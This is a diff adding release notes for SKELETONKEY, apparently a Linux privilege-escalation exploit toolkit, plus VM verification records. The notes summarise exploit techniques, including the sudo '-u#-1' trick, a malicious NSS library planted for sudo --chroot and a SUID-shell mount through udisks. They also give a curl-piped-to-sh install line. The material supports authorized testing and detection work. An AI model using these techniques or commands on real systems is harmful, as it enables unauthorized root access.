+Applied `tools/refresh-kernel-ranges.py --patch` recommendations
+across:
+
+- `cgroup_release_agent` — `{5,16,9}` → `{5,16,7}`
+- `cls_route4` — `{5,10,143}` → `{5,10,136}`, `{5,18,18}` → `{5,18,16}`
+- `dirty_cow` — `{4,7,10}` → `{4,7,8}`
+- `dirty_pipe` — `{5,10,102}` → `{5,10,92}`
+- `fragnesia` — `{6,12,91}` → `{6,12,90}`, `{7,0,10}` → `{7,0,9}`
+  (the 7.0.10 entry I added in v0.9.4 was an NVD-vs-Debian off-by-one)
+- `mutagen_astronomy` — added `{4,12,6}` backport entry
+- `netfilter_xtcompat` — `{5,10,46}` → `{5,10,38}`
+- `overlayfs_setuid` — `{6,1,27}` → `{6,1,11}`
+- `pintheft` — added `{6,12,90}` Debian-trixie entry
+- `ptrace_traceme` — `{4,19,58}` → `{4,19,37}`
+- `sequoia` — `{5,10,52}` → `{5,10,46}`
+- `tioscpgrp` — added `{5,9,15}` backport entry
+
+All changes are correctness-improving (no kernel that was previously
+flagged VULNERABLE-and-actually-vulnerable is now flagged OK; we just
+stop false-positiving on kernels that Debian has on record as patched).
+
+Build's `kernel_range drift` step now exits 0 with 0 TOO_TIGHT and 0
+MISSING.
+
+Also enabled `workflow_dispatch` on the build workflow so the
+drift-check job can be manually triggered without waiting for the
+weekly Monday-06:00-UTC cron.
+
+---
+
+## SKELETONKEY v0.9.4 — drift unblock, fragnesia range fix, infra docs
+
+Quality-of-life follow-ups from the v0.9.3 review:
+
+**Nightly CI drift-check unblocked.** v0.9.3's hand-applied
+`core/cve_metadata.c` entries weren't reflected in
+`docs/CVE_METADATA.json`, so the scheduled `build` workflow had
+been red since 2026-05-25 even though push-triggered runs passed.
+Regenerated both via the canonical script. Pintheft's CWE landed
+as CWE-787 (NVD-derived) — previously NULL.
+
+**fragnesia module range table corrected.** Same audit pattern that
+found the dirtydecrypt bug in v0.9.3. NVD CVE-2026-46300 confirms
+the SKBFL_SHARED_FRAG marker was introduced at 5.11 and the bug
+spans every stable branch since. Previous range table had one entry
+(`{7, 0, 9}`) — off-by-one against NVD's 7.0.10 fix point and
+missing every other backport. Now models 6 backports + predates-5.11
+introduction gate:
+
+```c
+{5, 15, 208}, /* 5.15-LTS */
+{6,  1, 174}, /* 6.1-LTS  */
+{6,  6, 141}, /* 6.6-LTS  */
+{6, 12,  91}, /* 6.12-LTS */
+{6, 18,  33}, /* 6.18-LTS */
+{7,  0,  10}, /* 7.0      */
+```
+
+Test row added for the predates path (kernel 4.4 → OK).
+
+**`tools/verify-vm/README.md` brought current.** The README was
+written for the v0.6-era apt-pin-only workflow. Now documents the
+v0.9.x infrastructure: mainline kernel pinning via
+kernel.ubuntu.com, per-module provisioners
+(`provisioners/<module>.sh`), two-phase prep→reboot→verify with
+post-reboot kernel confirmation, GRUB_DEFAULT pinning in both apt
+and mainline blocks.
+
+**NVD lookups in `refresh-cve-metadata.py` get a curl fallback.**
+v0.9.3 ran into Python's `urlopen` silently hanging on NVD's HTTP/2
+endpoint (55-min process with the 30s timeout never firing — kernel
+CLOSE_WAIT socket). The CISA path already had a curl fallback; the
+NVD path now mirrors it. Future runs degrade gracefully when
+urlopen wedges.
+
+---
+
+## SKELETONKEY v0.9.3 — CVE metadata refresh + dirtydecrypt range fix
+
+**CVE metadata refresh (10 → 12 KEV).** Populated the 8 missing
+entries in `core/cve_metadata.c` for v0.8.0 + v0.9.0 module additions.
+Two of them are CISA-KEV-listed:
+
+- **CVE-2018-14634** `mutagen_astronomy` — KEV-listed 2026-01-26 (CWE-190)
+- **CVE-2025-32463** `sudo_chwoot` — KEV-listed 2025-09-29 (CWE-829)
+
+Other 6 entries got CWE / ATT&CK technique metadata so `--explain` and
+`--module-info` now surface WEAKNESS + THREAT INTEL correctly for them.
+(`tools/refresh-cve-metadata.py` hangs on CISA's HTTP/2 endpoint via
+Python urlopen — populated directly via curl + max-time as a workaround.)
+
+**dirtydecrypt module bug fix.** Auditing dirtydecrypt's range table
+against NVD's authoritative CPE match for CVE-2026-31635 surfaced that
+`dd_detect()` was wrongly gating "predates the bug" on kernel < 7.0.
+Per NVD, the rxgk RESPONSE bug entered at 6.16.1 stable; vulnerable
+ranges are 6.16.1–6.18.22, 6.19.0–6.19.12, and 7.0-rc1..rc7. The fix:
+
+- `dd_detect()` predates-gate now uses 6.16.1 (not 7.0)
+- `patched_branches[]` table adds `{6, 18, 23}` for the 6.18 backport
+
+Re-verified empirically: dirtydecrypt now correctly returns VULNERABLE
+on mainline 6.19.7 (genuinely below the 6.19.13 backport). Previously
+it returned OK there — a false negative that would have lied to anyone
+running scan on a real vulnerable kernel.
+
+---
+
+## SKELETONKEY v0.9.2 — dirtydecrypt verified on mainline 6.19.7
+
+One more empirical verification: **CVE-2026-31635 dirtydecrypt** confirmed
+end-to-end on Ubuntu 22.04 + mainline 6.19.7. detect() correctly returns
+OK ("kernel predates the rxgk RESPONSE-handling code added in 7.0"). Footer
+goes 27 → 28.
+
+Attempted but deferred: **CVE-2026-46300 fragnesia**. Mainline 7.0.5 kernel
+.debs depend on `libssl3t64` / `libelf1t64` (the t64-transition libs
+introduced in Ubuntu 24.04 / Debian 13). No Vagrant box with a Parallels
+provider has those libs yet — `dpkg --force-depends` leaves the kernel
+package in `iHR` (broken) state with no `/boot/vmlinuz` deposited. Marked
+`manual: true` with rationale in `targets.yaml`. Resolvable when a
+Parallels-supported ubuntu2404 / debian13 box becomes available.
+
+---
+
+## SKELETONKEY v0.9.1 — VM verification sweep (22 → 27)
+
+Five more CVEs empirically confirmed end-to-end against real Linux VMs
+via `tools/verify-vm/`:
+
+| CVE | Module | Target environment |
+|---|---|---|
+| CVE-2019-14287 | `sudo_runas_neg1` | Ubuntu 18.04 (sudo 1.8.21p2 + `(ALL,!root)` grant via provisioner) |
+| CVE-2020-29661 | `tioscpgrp`      | Ubuntu 20.04 pinned to `5.4.0-26` (genuinely below the 5.4.85 backport) |
+| CVE-2024-26581 | `nft_pipapo`     | Ubuntu 22.04 + mainline `5.15.5` (below the 5.15.149 fix) |
+| CVE-2025-32463 | `sudo_chwoot`    | Ubuntu 22.04 + sudo `1.9.16p1` built from upstream into `/usr/local/bin` |
+| CVE-2025-6019  | `udisks_libblockdev` | Debian 12 + `udisks2` 2.9.4 + polkit allow rule for the verifier user |
+
+Footer goes from `22 empirically verified` → `27 empirically verified`.
+
+### Verifier infrastructure (the why)
+
+These verifications required real plumbing work that didn't exist before:
+
+- **Per-module provisioner hook** (`tools/verify-vm/provisioners/<module>.sh`)
+  — per-target setup that doesn't belong in the Vagrantfile (build sudo
+  from source, install udisks2 + polkit rule, drop a sudoers grant) now
+  lives in checked-in scripts that re-run idempotently on every verify.
+- **Two-phase provisioning** in `verify.sh` — prep provisioners run
+  first (install kernel, set grub default, drop polkit rule), then a
+  conditional reboot if `uname -r` doesn't match the target, then the
+  verifier proper. Fixes the silent-fail where the new kernel was
+  installed but the VM never actually rebooted into it.
+- **GRUB_DEFAULT pin in both `pin-kernel` and `pin-mainline` blocks** —
+  without this, grub's debian-version-compare picks the highest-sorting
+  vmlinuz as default; for downgrades (stock 4.15 → mainline 4.14.70, or
+  stock 5.4.0-169 → pinned 5.4.0-26) the wrong kernel won boot.
+- **Old-mainline URL fallback** — kernel.ubuntu.com puts ≤ 4.15 mainline
+  debs at `/v${KVER}/` not `/v${KVER}/amd64/`. Fallback handles both.
+
+### Honest residuals — 7 of 34 still unverified
+
+| Module | Why not verified |
+|---|---|
+| `vmwgfx` | needs a VMware guest; we're on Parallels |
+| `dirty_cow` | needs ≤ 4.4 kernel — older than any supported Vagrant box |
+| `mutagen_astronomy` | mainline 4.14.70 kernel-panics on Ubuntu 18.04 rootfs (`Failed to execute /init (error -8)` — kernel config mismatch). Genuinely needs CentOS 6 / Debian 7. |
+| `pintheft` | needs RDS kernel module loaded (Arch only autoloads it) |
+| `vsock_uaf` | needs `vsock_loopback` loaded — not autoloaded on common Vagrant boxes |
+| `dirtydecrypt`, `fragnesia` | need Linux 7.0 — not yet shipping as any distro kernel |
+
+All seven are flagged in `tools/verify-vm/targets.yaml` with `manual: true`
+and a rationale.
+
+---
+
+## SKELETONKEY v0.9.0 — every year 2016 → 2026 now covered
+
+Five gap-filling modules. Closes the 2018 hole entirely and thickens
+2019 / 2020 / 2024.
+
+### CVE-2018-14634 — `mutagen_astronomy` (Qualys)
+
+Closes the 2018 gap. `create_elf_tables()` int-wrap → on x86_64, a
+multi-GiB argv blob makes the kernel under-allocate the SUID
+carrier's stack and corrupt adjacent allocations. CISA-KEV-listed
+Jan 2026 despite the bug's age — legacy RHEL 7 / CentOS 7 / Debian
+8 fleets still affected. 🟡 PRIMITIVE (trigger documented;
+Qualys' full chain not bundled per verified-vs-claimed).
+`arch_support: x86_64+unverified-arm64`.
+
+### CVE-2019-14287 — `sudo_runas_neg1` (Joe Vennix)
+
+`sudo -u#-1 <cmd>` → uid_t underflows to 0xFFFFFFFF → sudo treats it
+as uid 0 → runs `<cmd>` as root even when sudoers explicitly says
+"ALL except root". Pure userspace logic bug; the famous Apple
+Information Security finding. detect() looks for a `(ALL,!root)`
+grant in `sudo -ln` output. `arch_support: any`. Sudo < 1.8.28.
+
+### CVE-2020-29661 — `tioscpgrp` (Jann Horn / Project Zero)
+
+TTY `TIOCSPGRP` ioctl race on PTY pairs → `struct pid` UAF in
+kmalloc-256. Affects everything through Linux 5.9.13. 🟡 PRIMITIVE
+(race-driver + msg_msg groom). Public PoCs from grsecurity/spender
++ Maxime Peterlin. `arch_support: x86_64+unverified-arm64`.
+
+### CVE-2024-50264 — `vsock_uaf` (a13xp0p0v / Pwnie 2025 winner)
+
+AF_VSOCK `connect()` races a POSIX signal that tears down the
+virtio_vsock_sock → UAF in kmalloc-96. **Pwn2Own 2024 + Pwnie Award
+2025 winner.** Reachable as plain unprivileged user (no userns
+required — unusual). Two public exploit paths: @v4bel + @qwerty
+kernelCTF chain (BPF JIT spray + SLUBStick) and Alexander Popov's
+msg_msg path (PT SWARM Sep 2025). 🟡 PRIMITIVE.
+`arch_support: x86_64+unverified-arm64`.
+
+### CVE-2024-26581 — `nft_pipapo` (Notselwyn II, "Flipping Pages")
+
+`nft_set_pipapo` destroy-race UAF. Sibling to our `nf_tables` module
+(CVE-2024-1086) — same Notselwyn "Flipping Pages" research paper,
+different specific bug in the pipapo set substrate. Same family
+detect signature. 🟡 PRIMITIVE.
+`arch_support: x86_64+unverified-arm64`.
+
+### Year-by-year coverage matrix
+
+```
+2016: ▓ 1     2021: ▓▓▓▓▓ 5     2025: ▓▓ 2
+2017: ▓ 1     2022: ▓▓▓▓▓ 5     2026: ▓▓▓▓ 4
+2018: ▓ 1 ←   2023: ▓▓▓▓▓▓▓▓ 8
+2019: ▓▓ 2 ←  2024: ▓▓▓ 3 ←
+2020: ▓▓ 2 ←
+```
+
+Every year 2016 → 2026 is now ≥1.
+
+### Corpus growth
+
+| | v0.8.0 | v0.9.0 |
+|---|---|---|
+| Modules registered | 34 | 39 |
+| Distinct CVEs | 29 | 34 |
+| Years with ≥1 CVE | 10 of 11 (missing 2018) | **11 of 11** |
+| Detection rules embedded | 131 | 151 |
+| Arch-independent (`any`) | 6 | 7 |
+| VM-verified | 22 | 22 |
+
+### Other changes
+
+- All 5 new modules ship complete detection-rule corpus
+  (auditd + sigma + yara + falco) — corpus stays at 4-format
+  parity with the rest of the modules.
+- `tools/refresh-cve-metadata.py` runs against 34 CVEs (was 29);
+  takes ~4 minutes due to NVD anonymous rate limit.
+
+---
+
+## SKELETONKEY v0.8.0 — 3 new 2025/2026 CVEs
+
+Closes the 2025 coverage gap. Three new modules from CVEs disclosed
+2025–2026, all with public PoC code we ported into proper
+SKELETONKEY modules:
+
+### CVE-2025-32463 — `sudo_chwoot` (Stratascale)
+
+Critical (CVSS 9.3) sudo logic bug: `sudo --chroot=<DIR>` chroots
+into a user-controlled directory before completing authorization +
+resolves user/group via NSS inside the chroot. Plant a malicious
+`libnss_*.so` + an `nsswitch.conf` that points to it; sudo dlopens
+the .so as root, ctor fires, root shell. Affects sudo 1.9.14 to
+1.9.17p0; fixed in 1.9.17p1 (which deprecated --chroot entirely).
+`arch_support: any` (pure userspace).
+
+### CVE-2025-6019 — `udisks_libblockdev` (Qualys)
+
+udisks2 + libblockdev SUID-on-mount chain. libblockdev's internal
+filesystem-resize/repair mount path omits `MS_NOSUID` and
+`MS_NODEV`. udisks2 gates the operation on polkit's
+`org.freedesktop.UDisks2.modify-device` action, which is
+`allow_active=yes` by default → any active console session user can
+trigger it without a password. Build an ext4 image with a SUID-root
+shell inside, get udisks to mount it, execute the SUID shell.
+Affects libblockdev < 3.3.1, udisks2 < 2.10.2. `arch_support: any`.
+
+### CVE-2026-43494 — `pintheft` (V12 Security)
+
+Linux kernel RDS zerocopy double-free. `rds_message_zcopy_from_user()`
+pins user pages one at a time; if a later page faults, the error
+unwind drops the already-pinned pages, but the msg's scatterlist
+cleanup drops them AGAIN. Each failed `sendmsg(MSG_ZEROCOPY)` leaks
+one pin refcount. Chain via io_uring fixed buffers to overwrite the
+page cache of a readable SUID binary → execve → root. Mainline fix
+commit `0cebaccef3ac` (posted to netdev 2026-05-05). Among common
+distros only **Arch Linux** autoloads the rds module — Ubuntu /
+Debian / Fedora / RHEL / Alma / Rocky / Oracle Linux either don't
+build it or blacklist autoload. `detect()` correctly returns OK
+on non-Arch hosts (RDS unreachable from userland). 🟡 PRIMITIVE
+status: primitive fires; full cred-overwrite via the shared
+modprobe_path finisher requires `--full-chain` on x86_64.
+
+### Corpus growth
+
+| | v0.7.1 | v0.8.0 |
+|---|---|---|
+| Modules registered | 31 | 34 |
+| Distinct CVEs | 26 | 29 |
+| 2025-CVE coverage | 0 | 2 |
+| Detection rules embedded | 119 | 131 |
+| Arch-independent (`any`) | 4 | 6 |
+| CISA KEV-listed | 10 | 10 (new ones not yet KEV'd) |
+| VM-verified | 22 | 22 |
+
+### Other changes
+
+- `tools/refresh-cve-metadata.py` — added curl fallback for the
+  CISA KEV CSV fetch (Python's urlopen was hitting timeouts against
+  CISA's HTTP/2 endpoint).
+- `tools/verify-vm/targets.yaml` — entries for the 3 new modules
+  with honest "no Vagrant box covers this yet" notes for
+  pintheft (needs Arch) and udisks_libblockdev (needs active
+  console session + udisks2 installed).
+
+---
+
+## SKELETONKEY v0.7.1 — arm64-static binary + per-module arch_support
+
+Point release on top of v0.7.0. Two additions:
+
+1. **`skeletonkey-arm64-static`** is now published alongside the
+   existing x86_64-static binary. Built native-arm64 in Alpine via
+   GitHub's `ubuntu-24.04-arm` runner pool. Works on Raspberry Pi 4+,
+   Apple Silicon Linux VMs, AWS Graviton, Oracle Ampere, Hetzner ARM,
+   and any other aarch64 Linux. `install.sh` auto-picks it.
+
+2. **`arch_support` per module** — a new field on
+   `struct skeletonkey_module` that honestly labels which architectures
+   the `exploit()` body has been verified on. Three categories:
+
+   - **`any`** (4 modules): pwnkit, sudo_samedit, sudoedit_editor,
+     pack2theroot. Purely userspace; arch-independent.
+   - **`x86_64`** (1 module): entrybleed. KPTI prefetchnta side-channel;
+     x86-only by physics (ARM uses TTBR_EL0/EL1 split, not CR3).
+     Already gated in source — returns PRECOND_FAIL on non-x86_64.
+   - **`x86_64+unverified-arm64`** (26 modules): kernel-exploitation
+     code that hasn't been verified on arm64 yet. `detect()` works
+     everywhere (it just reads `ctx->host`); the `exploit()` body uses
+     primitives (msg_msg sprays, ROP-style finishers, specific struct
+     offsets) that are likely portable to aarch64 but unproven.
+
+   `--list` adds an ARCH column; `--module-info` adds an `arch support:`
+   line; `--scan --json` adds an `arch_support` field per module.
+
+**What an arm64 user gets today:** the full detection/triage workflow
+works as well as on x86_64 (`--scan`, `--explain`, `--module-info`,
+`--detect-rules`, `--auto --dry-run`). Four exploit modules
+(`pwnkit`, `sudo_samedit`, `sudoedit_editor`, `pack2theroot`) will fire
+end-to-end. The remaining 26 modules currently mark themselves as
+"x86_64 verified; arm64 untested" — the bug class is generic but the
+exploitation hasn't been confirmed. Future arm64-Vagrant verification
+sweeps will promote modules to `any` as they're confirmed.
+
+---
+
+### From v0.7.0 — empirical verification + operator briefing
+
+The headline change since v0.6.0: **22 of 26 CVEs are now empirically
+confirmed against real Linux kernels in VMs**, with verification records
+baked into the binary and surfaced in `--list`, `--module-info`, and
+`--explain`. The four still-unverified entries (`vmwgfx`, `dirty_cow`,
+`dirtydecrypt`, `fragnesia`) are blocked by their target environment
+(VMware-only, ≤4.4 kernel, Linux 7.0 not yet shipping), not by missing
+code — see
+[`tools/verify-vm/targets.yaml`](https://github.com/KaraZajac/SKELETONKEY/blob/main/tools/verify-vm/targets.yaml)
+for the rationale.
+
+### Install
+
+Pre-built binaries below (x86_64 dynamic, x86_64 static-musl, arm64
+dynamic; all checksum-verified). Recommended for new installs:
+
+```bash
+curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
+skeletonkey --version
+```
+
+Static-musl x86_64 is the default — works back to glibc 2.17, no
+library dependencies.
+
+### What's in this release
+
+**Empirical verification (the big one)**
+- `tools/verify-vm/` — Vagrant + Parallels scaffold. Boots
+  known-vulnerable kernels (stock distro or mainline via
+  `kernel.ubuntu.com/mainline/`), runs `--explain --active` per module,
+  records match/mismatch as JSONL.
+- 22 modules confirmed end-to-end across Ubuntu 18.04 / 20.04 / 22.04 +
+  Debian 11 / 12 + mainline kernels 5.15.5 / 6.1.10.
+- Per-module `verified_on[]` table baked into the binary. `--list` adds
+  a `VFY` column showing ✓ per verified module; footer prints
+  `31 modules registered · 10 in CISA KEV (★) · 22 empirically verified
+  in real VMs (✓)`.
+- `--module-info <name>` adds a `--- verified on ---` section.
+- `--explain <name>` adds a `VERIFIED ON` section.
+
+**`--explain MODULE` — one-page operator briefing**
+
+A single command renders, for any module: CVE / CWE / MITRE ATT&CK /
+CISA KEV status, host fingerprint, **live `detect()` trace** with
+verdict and interpretation, **OPSEC footprint** (what an exploit
+would leave on this host), detection-rule coverage matrix, and
+verification records. Paste-ready for triage tickets and SOC handoffs.
+
+**CVE metadata pipeline**
+
+`tools/refresh-cve-metadata.py` fetches CISA's Known Exploited
+Vulnerabilities catalog + NVD CWE classifications, generates
+`docs/CVE_METADATA.json` + `docs/KEV_CROSSREF.md` + the in-binary
+lookup table. **10 of 26 modules cover KEV-listed CVEs.** MITRE ATT&CK
+technique mapping (T1068 by default; T1611 for container escapes;
+T1082 for kernel info leaks). All surfaced in `--list` (★ column),
+`--module-info`, `--explain`, and `--scan --json` (new `triage`
+sub-object per module).
+
+**Per-module OPSEC notes**
+
+Every module's struct now carries an `opsec_notes` paragraph describing
+the runtime telemetry footprint: file artifacts, dmesg signatures,
+syscall observables, network activity, persistence side effects,
+cleanup behavior. Grounded in source + existing detection rules — the
+inverse of what the auditd/sigma/yara/falco rules look for. Surfaced
+in `--module-info` (text + JSON) and `--explain`.
+
+**119 detection rules across all 4 SIEM formats**
+
+Previously: auditd everywhere, sigma on top-10, yara/falco only on a
+handful. Now: 30/31 auditd, 31/31 sigma, 28/31 yara, 30/31 falco
+(the 3 remaining gaps are intentional skips — `entrybleed` is a pure
+timing side-channel with no syscall/file footprint;
+`ptrace_traceme` and `sudo_samedit` are pure-memory races with no
+on-disk artifacts).
+
+**Test harness**
+
+88 tests on every push: 33 kernel_range / host-fingerprint unit tests
+(`tests/test_kernel_range.c` — boundary conditions, NULL safety,
+multi-LTS, mainline-only) + 55 `detect()` integration tests
+(`tests/test_detect.c` — synthetic host fingerprints across 26
+modules). Coverage report at the end identifies any modules without
+direct test rows.
+
+**`core/host.c` shared host-fingerprint refactor**
+
+One probe of kernel / arch / distro / userns gates / apparmor /
+selinux / lockdown / sudo + polkit versions at startup. Every
+module's `detect()` consumes `ctx->host`. Adds `meltdown_mitigation[]`
+passthrough so `entrybleed` can distinguish "Not affected" (CPU
+immune; OK) from "Mitigation: PTI" (KPTI on; vulnerable to
+EntryBleed) without re-reading sysfs.
+
+**kernel_range drift detector**
+
+`tools/refresh-kernel-ranges.py` polls Debian's security tracker and
+reports drift between the embedded `kernel_patched_from` tables and
+what Debian actually ships. Already used to apply 9 corpus fixes in
+v0.7.0; 9 more `TOO_TIGHT` findings pending per-commit verification.
+
+**Marketing-grade landing page**
+
+[karazajac.github.io/SKELETONKEY](https://karazajac.github.io/SKELETONKEY/)
+— animated hero, `--explain` showcase with line-by-line typed terminal,
+bento-grid features, KEV / verification stat chips. New Open Graph
+card renders correctly on Twitter/LinkedIn/Slack/Discord.
+
+### Real findings from the verifier
+
+A handful of cases that show the project's "verified-vs-claimed bar"
+thesis paying off in real time:
+
+- **`dirty_pipe` on Ubuntu 22.04 (5.15.0-91-generic)** — version-only
+  check would say VULNERABLE (5.15.0 < 5.15.25 backport in our table),
+  but Ubuntu has silently backported the fix into the -91 patch level.
+  `--active` correctly identified the primitive as blocked → OK. Only
+  an empirical probe can tell.
+- **`af_packet` on Ubuntu 18.04 (4.15.0-213-generic)** — our target
+  expectation was wrong; 4.15 is post-fix. Caught + corrected by the
+  verifier sweep.
+- **`sudoedit_editor` on Ubuntu 22.04** — sudo 1.9.9 is the vulnerable
+  version, but the default vagrant user has no sudoers grant to abuse.
+  `detect()` correctly returns PRECOND_FAIL ("vuln version present, no
+  grant to abuse").
+
+### Coverage by audience
+
+- **Red team**: `--auto` ranks vulnerable modules by safety + runs the
+  safest, OPSEC notes per exploit, JSON for pipelines, no telemetry.
+- **Blue team**: 119 detection rules in all 4 SIEM formats, CISA KEV
+  prioritization, MITRE ATT&CK + CWE annotated, `--explain` triage
+  briefings.
+- **Researchers**: Source is the docs. CVE metadata sourced from
+  federal databases. `--explain` shows the reasoning chain. 22 VM
+  confirmations for trust.
+- **Sysadmins**: `--scan` works without sudo. Static-musl binary
+  drops on any Linux. JSON output for CI gates.
+
+### Compatibility
+
+- Default install: static-musl x86_64 — works on every Linux back to
+  glibc 2.17 (RHEL 7, Debian 9, Ubuntu 14.04+, Alpine, anything).
+- Also published: dynamic x86_64 (faster, modern glibc only) and
+  dynamic arm64 (Raspberry Pi 4+, Apple Silicon Linux VMs, ARM
+  servers).
+
+### Authorized testing only
+
+SKELETONKEY runs real exploits. By using it you assert you have
+explicit authorization to test the target system. See
+[`docs/ETHICS.md`](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md).
+
+### Links
+
+- [CVE inventory](https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md)
+- [Verification records](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/VERIFICATIONS.jsonl)
+- [KEV cross-reference](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/KEV_CROSSREF.md)
+- [Detection playbook](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DETECTION_PLAYBOOK.md)
+- [Architecture](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ARCHITECTURE.md)
+- [Roadmap](https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md)

docs/VERIFICATIONS.jsonl

@@ -0,0 +1,36 @@
+{"module":"pwnkit","verified_at":"2026-05-23T19:26:02Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"cgroup_release_agent","verified_at":"2026-05-23T19:32:07Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"netfilter_xtcompat","verified_at":"2026-05-23T19:33:56Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"fuse_legacy","verified_at":"2026-05-23T19:35:49Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"dirty_pipe","verified_at":"2026-05-23T19:43:04Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
+{"module":"dirty_pipe","verified_at":"2026-05-23T19:44:38Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"OK","actual_detect":"OK","status":"match"}
+{"module":"entrybleed","verified_at":"2026-05-23T19:50:32Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"overlayfs","verified_at":"2026-05-23T19:52:09Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"overlayfs_setuid","verified_at":"2026-05-23T19:54:09Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"sudoedit_editor","verified_at":"2026-05-23T19:56:04Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"PRECOND_FAIL","status":"MISMATCH"}
+{"module":"nft_fwd_dup","verified_at":"2026-05-23T19:57:46Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"ptrace_traceme","verified_at":"2026-05-23T19:59:24Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
+{"module":"sudo_samedit","verified_at":"2026-05-23T20:00:52Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
+{"module":"af_packet","verified_at":"2026-05-23T20:02:23Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
+{"module":"pack2theroot","verified_at":"2026-05-23T20:04:20Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
+{"module":"cls_route4","verified_at":"2026-05-23T20:13:16Z","host_kernel":"5.15.0-43-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"nft_payload","verified_at":"2026-05-23T20:15:45Z","host_kernel":"5.15.0-43-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"af_packet2","verified_at":"2026-05-23T20:18:13Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"sequoia","verified_at":"2026-05-23T20:20:38Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"ptrace_traceme","verified_at":"2026-05-23T20:23:07Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"sudo_samedit","verified_at":"2026-05-23T20:23:51Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
+{"module":"af_packet","verified_at":"2026-05-23T20:24:35Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
+{"module":"pack2theroot","verified_at":"2026-05-23T20:25:19Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"PRECOND_FAIL","status":"MISMATCH"}
+{"module":"sudoedit_editor","verified_at":"2026-05-23T20:26:02Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"PRECOND_FAIL","actual_detect":"PRECOND_FAIL","status":"match"}
+{"module":"af_packet","verified_at":"2026-05-23T20:27:39Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"OK","actual_detect":"OK","status":"match"}
+{"module":"pack2theroot","verified_at":"2026-05-23T20:28:23Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"PRECOND_FAIL","actual_detect":"PRECOND_FAIL","status":"match"}
